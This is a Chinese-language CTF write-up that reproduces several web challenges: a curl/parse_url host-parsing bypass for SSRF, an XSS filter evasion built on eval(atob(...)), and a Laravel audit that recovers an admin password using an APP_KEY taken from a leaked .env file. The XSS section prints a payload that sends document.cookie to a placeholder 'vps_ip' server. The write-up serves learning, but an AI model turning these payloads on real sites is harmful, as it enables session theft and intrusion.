Iuhrey

一个常年被吊打的Web手 一个唱歌不好指弹垃圾的吉他手

近期比赛题目复现

前言

整个寒假都在学习挖洞相关的知识,ctf方面的投入比之前少了许多,近期比赛优秀的题目也比较多,所以写了这篇复现来记录一些新知识

php trick

得到flag需要满足多个条件,前面多个条件都是ctf常见的,这里就不多叙述了,这题最主要的一个绕过点如下:


先审计代码,第九步要求parse_url()解析url的域名要为百度的域名,第十步则是限制了协议要为http,所有限制过后,网站会对我们输入的url进行访问,后面明显看出可以利用ssrf读取admin.php,所以现在的矛盾在于如何使得curl解析的域名是本地的域名同时绕过第九步的限制。
这里就需要理解curl和parse_url对url域名解析的差异性了。在如下这个url中:

1
http://test@1.com@2.com

curl解析的域名为1.com,而parse_url却是解析为2.com,还有类似的函数也是这样解析,如图:

构造如上payload就能绕过了。

HappyXss

这题目比较上一题,把script,href,onerror等等关键字都过滤了,而且无法加载远程src资源。
这里学到了一种新的思路,在前端中eval()函数并没有被过滤,因此我们可以利用它把我们传入的代码转换成xss的payload。

1
2
eval(atob(base64后的代码));   //eval(atob("YWxlcnQoMSk="));
eval(String.fromCharCode(ascii码)); //eval(String.fromCharCode(97,108,101,114,116,40,49,41));

我们只需要让它带上cookie访问我们的服务器即可,因此payload如下:

1
window.location.href="http://vps_ip/"+document.cookie

注意的是””被过滤了,可以选择使用’’,最终payload如下,监听端口查看cookie就行了

1
<input onfocus=javascript:eval(atob('d2luZG93LmxvY2F0aW9uLmhyZWY9Imh0dHA6Ly92cHNfaXAvIitkb2N1bWVudC5jb29raWU=')); autofocus>

HappyPHP

这题目主要考察代码审计,登入界面有个提示可以拿到源码。
题目框架为laravel,根据大师傅的wp,学到了分析源码的基本步骤。
首先从路由开始,也就是/routes/web.app,可以分析出该网站有多少个页面,分别是什么功能。
接着从第一条开始,逐条追踪,查看详细代码的构成,一步一步审计直到找到可利用点。必要时可以使用全局搜索找我们所要的关键信息。
分析如何利用,构造payload,达到所要的目的。
在SessionsController.php发现可利用的点:

这里代码可以进行注入,并且它会把结果返回给我们。联想到题目提示,flag在admin下,我们可以想到利用注入把email和password给注入出来。可以在/database/factories/UserFactory.php看到列的参数。

1
2
email:admin@hgame.com
password:eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==

对password进行base64解码得到:

1
{"iv":"rnVrqfCvfJgnvSTi9z7KLw==","value":"EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods=","mac":"56e2b33ecd2828fe6f417c7e98e9a588c097f083499e0cc7237bc27741e829af"}

继续通过全局搜索key,cipher来找到加密方式,发现在app.php中:

全局搜索APP_KEY并没有搜索到,发现.env文件并不存在,所以回溯到github项目上找到被删除的.env文件:

找到了我们所要的APP_KEY:

1
$key="9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ=";

结合上面的iv值和value值就可以解密被加密前的密码,登入即可拿到flag。

本站总访问量